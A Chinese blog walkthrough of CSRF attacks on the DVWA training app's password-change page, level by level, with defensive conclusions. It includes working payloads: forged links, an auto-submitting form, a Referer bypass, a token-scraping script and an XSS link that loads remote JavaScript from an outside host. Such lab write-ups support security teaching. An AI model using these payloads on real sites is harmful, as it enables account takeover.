这么多攻击中,CSRF 攻击,全称是 Cross Site Request Forgery,翻译过来是跨站请求伪造可谓是最防不胜防之一。比如删除一篇文章,添加一笔钱之类,如果开发者是没有考虑到会被 CSRF 攻击的,一旦被利用对公司损失很大的。

低级

界面如下,目的是实现修改密码

低级代码如下

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

功能确实是可以修改密码的。

然而 Hacker 发了一封令人惊喜的邮件给你,里面的内容是这样的。

或者是这样

只要点击进去了。密码就被改了。因为他的链接是。。。

http://192.168.0.110:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change 然后密码就被改成 123456。。。

或者链接是指向的是一个恶意网站。网站里面有一张图片,而且是打不开。但是这张图片的链接是。。。http://192.168.31.166:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change

密码又被改了。

或者你会觉得造成这种问题的主要原因是用 Get 请求,用 Post 就不会了。。。Hacker 的就将网站写成这样了。

<form action="" id="change-passwd" method="post">
<input type="password" name="password_new" value=""/>
<input type="password" name="password_conf" value=""/>
<input type="submit" name="submit" value="submit"/>
</form>
<script>
var form = document.getElementById("change-passwd");
form.inputs[0].value="123456";
form.inputs[1].value="123456";
form.submit();
</script>

这漏洞确实是防不胜防。。。接下面看看中级代码

中级

中级代码就多了验证请求头部的来源地址(Referer),来源地址与服务器地址一致才能修改密码。而你从邮件中点击链接过来的,或者从另外网站点击的是不能修改密码。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} ?>

而验证的来源地址和服务器地址是否一致的代码是这样的

stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

stripos函数的定义 可以看这里。

假如服务器的地址是 192.168.0.110($_SERVER[ 'SERVER_NAME' ]),而恶意的网站的地址是 a.com/192.168.0.110.php($_SERVER[ 'HTTP_REFERER' ]) 。。。不就可以绕过了吗?

而 192.168.0.110.php 的内容也很简单

<form action="http://192.168.0.110:5678/vulnerabilities/csrf/?" method="GET">
<h1>Click Me</h1>
<input type="text" name="password_new" value="hacker">
<input type="text" name="password_conf" value="hacker">
<input type="submit" value="Change" name="Change">
</form>
<script>
document.getElementsByTagName("form")[0].submit()
<script>
`` # 高级 > CSRF 为什么会成功?其本质原因是重要操作的所有参数都可以被攻击者猜测到。 --吴翰清 《白帽子讲 Web 安全》 p121 所以参数如果有一个攻击者猜测不到的参数,攻击者就很难攻击了。所以服务器生成一个(伪)随机字符串(叫 token),保存在 session 中,同时放在网页上中。用户登录,发送请求的时候会把这个字符串带到服务器上验证。
高级代码如下
```php
<?php if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
} ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
} // Generate Anti-CSRF token
generateSessionToken(); ?>

所以,如果要攻击的话,首先要获取页面的 token,假如 Hacker 在网站 a.com/csrf.php 上写了这样的代码呢?

 <script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
var success = false;
xmlhttp.onreadystatechange = function(){
if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
var pass = "123456";
var attack_url = "http://192.168.0.110:5678/vulnerabilities/csrf/?user_token="+token+"&password_new="+pass+"&password_conf="+pass+"&Change=Change";
if(!success){
success=true;
xmlhttp.open("GET",attack_url);
xmlhttp.send();
}
}
} xmlhttp.open("GET","http://192.168.0.110:5678/vulnerabilities/csrf/");
xmlhttp.send();
</script>

这是不能执行的,原因是现代浏览器是不允许进行跨域请求的(前后端分离会有特定的请求头),在 a.com 上不能请求 192.168.0.110 的数据的(除了css,js之类的静态文件外)。所以要“另辟蹊径”。

也看了下《白帽子讲 Web安全》。也说如果存在 XSS 漏洞,这方案就会变无效了。。。所以这代码主要还是自己或队友的代码造成有漏洞了。。。

简要解释一下,因为高级反射型 XSS那里有个漏洞,那里能有效地去掉了 script 标签的注入,但是忽略了 img 之类的元素注入。

所以,可以往里面注入 <img src=x onerror="alert(1)"> 这样的东西。如果你用点开这样的链接 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img+src%3Dx+onerror%3D"alert(1)"># ,就会看到弹窗了,也就是说能注入 js 代码。

然后要做的东西是往里面注入远程的 js 代码(test.js),test.js 的内容上面跨域的内容一样。所以问题是如何注入 '' 这样的字符串

而服务器有个正则替换<.\*s.\*c.\*r.\*i.\*p.\*t,所有含有 script 的字符都会被替换 。直接在onerror函数中注入代码是可以的,但是有点痛苦,因为要躲开这个正则替换。所以可以用点取巧的方式,onerror里面的内容是eval(unescape(location.hash.substr(1))),其中location.hash是 url 中 # 后面的内容(一般是前端框架用来做路由,且没有长度限制),就是要注入的 js 的内容了。

点击下面这个链接,就可以绕过 anti-token 机制改掉密码。。。

http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img src=x onerror="eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22//www.a.com/test.js%22);h.appendChild(s)

哈希路由后面的代码

d=document;
h=d.getElementsByTagName('head').item(0);
s=d.createElement('script');
s.setAttribute('src','//www.a.com/test.js');
h.appendChild(s);

意思是在 head 的标签下添加个 ''

不可能

和高级相比,不可能级别会要求检查原密码,就算有 XSS 漏洞也要知道原密码才能修改,而且代码中用了 $db->prepare 的写法防止 SQL 的注入。这样安全多了。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ]; // Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr ); // Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute(); // Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new ); // Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute(); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
} // Generate Anti-CSRF token
generateSessionToken(); ?>

最后

dvwa 中防御 CSRF 攻击主要是通过验证 Referer 头和设置 anti-token 的方式。而不可能级别的还会要求验证原密码。 而 referer check 缺陷在于,服务器并非什么时候都能取得 referer。很多时候用户出于隐私保护的考虑,限制了 Referer 的发送。某些情况下,浏览器也不会发送 Referer,比如从 HTTPS 跳转到 HTTP,出于安全的考虑,浏览器也不会发送 Referer(《白帽子讲Web安全》)

而一般用 anti-token 机制就能很好地防御了。

如果有验证码的存在,也能提高攻击的难度。

现在的网站重置密码也不会这样直接重置了,基本也会发一个有待 token 的 url 邮件或者手机短信验证码吧

DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery的更多相关文章

  1. CSRF(Cross Site Request Forgery, 跨站请求伪造)

    一.CSRF 背景与介绍 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的攻击方式,它在 2007 年曾被列为互联网 20 大安全隐患之一.其他安全隐患, ...

  2. CSRF(Cross Site Request Forgery, 跨站域请求伪造)

    CSRF(Cross Site Request Forgery, 跨站域请求伪造) CSRF 背景与介绍 CSRF(Cross Site Request Forgery, 跨站域请求伪造)是一种网络的 ...

  3. CSRF Laravel Cross Site Request Forgery protection¶

    Laravel 使得防止应用 遭到跨站请求伪造攻击变得简单. Laravel 自动为每一个被应用管理的有效用户会话生成一个 CSRF "令牌",该令牌用于验证授权用 户和发起请求者 ...

  4. DVWA 黑客攻防演练(四)文件包含 File Inclusion

    文件包含(file Inclusion)是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件.还可以通过这个漏洞加载不属于本网站的文件等.下面一起来看看 DVWA 中的文件包 ...

  5. DVWA 黑客攻防演练(一) 介绍及安装

    原本是像写一篇 SELinux 的文章的.而我写总结文章的时候,总会去想原因是什么,为什么会有这种需求.而我发觉 SELinux 的需求是编程人员的神奇代码或者维护者的脑袋短路而造成系统容易被攻击.就 ...

  6. 转: CSRF(Cross Site Request Forgery 跨站域请求伪造) 背景与介绍

    from:  https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/   在 IBM Bluemix 云平台上开发并部署您的下一个应用 ...

  7. WebGoat学习——跨站请求伪造(Cross Site Request Forgery (CSRF))

    跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Site Request Forgery (CSRF))也被称为:one click at ...

  8. 跨站请求伪造(Cross Site Request Forgery (CSRF))

    跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Site Request Forgery (CSRF)) 跨站请求伪造(Cross Sit ...

  9. Cross Site Request Forgery (CSRF)--spring security -转

    http://docs.spring.io/spring-security/site/docs/3.2.0.CI-SNAPSHOT/reference/html/csrf.html 13. Cross ...

随机推荐

  1. 5.3Role和Claims授权「深入浅出ASP.NET Core系列」

    希望给你3-5分钟的碎片化学习,可能是坐地铁.等公交,积少成多,水滴石穿,码字辛苦,如果你吃了蛋觉得味道不错,希望点个赞,谢谢关注. Role授权 这是一种Asp.Net常用的传统的授权方法,当我们在 ...

  2. Java之mybatis详解

    文章大纲 一.mybatis介绍二.mybatis代码实战三.项目源码下载四.参考文章   一.mybatis介绍 1. mybatis是什么?   mybatis是一个持久层的框架,是apache下 ...

  3. Python之路【第七篇】:Python装饰器

    阅读目录 一.装饰器 1.装饰器的概念 #装饰器定义:本质就是函数,功能是为其他函数添加附加功能 二.装饰器需要遵循的原则 #原则: 1.不修改被修饰函数的源代码 2.不修改被修饰函数的调用方式 装饰 ...

  4. Vagrant 构建 Linux 开发环境

    Vagrant 是一个简单易用的部署工具,用英文说应该是 Orchestration Tool .它能帮助开发人员迅速的构建一个开发环境,帮助测试人员构建测试环境, Vagrant 基于 Ruby 开 ...

  5. Win10系统盘制作及安装流程

    一.下载最新版的 Win10 镜像 1.打开 MSDN 下载 Windows 系统镜像,即 https://msdn.itellyou.cn/ ​ 2.下载的 iso 镜像文件 ​ 3.你可以通过双击 ...

  6. 逆向-攻防世界-crackme

    查壳,nSpack壳,直接用软件脱壳,IDA载入程序. 很明显,就是将402130的数据和输入的数据进行异或,判断是否等于402150处的数据.dwrd占4字节. 这道题主要记录一下刚学到的,直接在I ...

  7. Linux命令及架构部署大全

    1.Linux系统基础知识 Linux 基础优化配置 Linux系统根目录结构介绍 linux系统重要子目录介绍 Linux基础命令(之一)详解 Linux基础命令(之二)详解 Linux文件系统 L ...

  8. Flarum轻量级论坛的安装

    论坛作为互联网中的远古产物,经历了如QQ群.社区和贴吧等新兴社交工具的冲击,依然能够存在,肯定是有着不可替代的用处,像吾爱.远景等论坛依旧火热.一些博客主也喜欢自己搭建一个论坛作为用户聚集之地. 之前 ...

  9. PHP全栈学习笔记8

    面向对象的基本概念,面向对象编程,oop,面向对象,面向对象的分析,面向对象的设计,面向对象的编程,什么是类. 类,属性和方法,类,对象,面向对象编程的三大特点.特点,封装性,继承性,多态性. 封装性 ...

  10. Redis in .NET Core 入门:(1) 安装和主要功能简介

    Redis(https://redis.io/), 是一个内存中的数据结构存储系统,它可以用作数据库.缓存和消息中间件. 安装Redis 我很少在开发机中直接装各种数据库,我一般使用Docker,针对 ...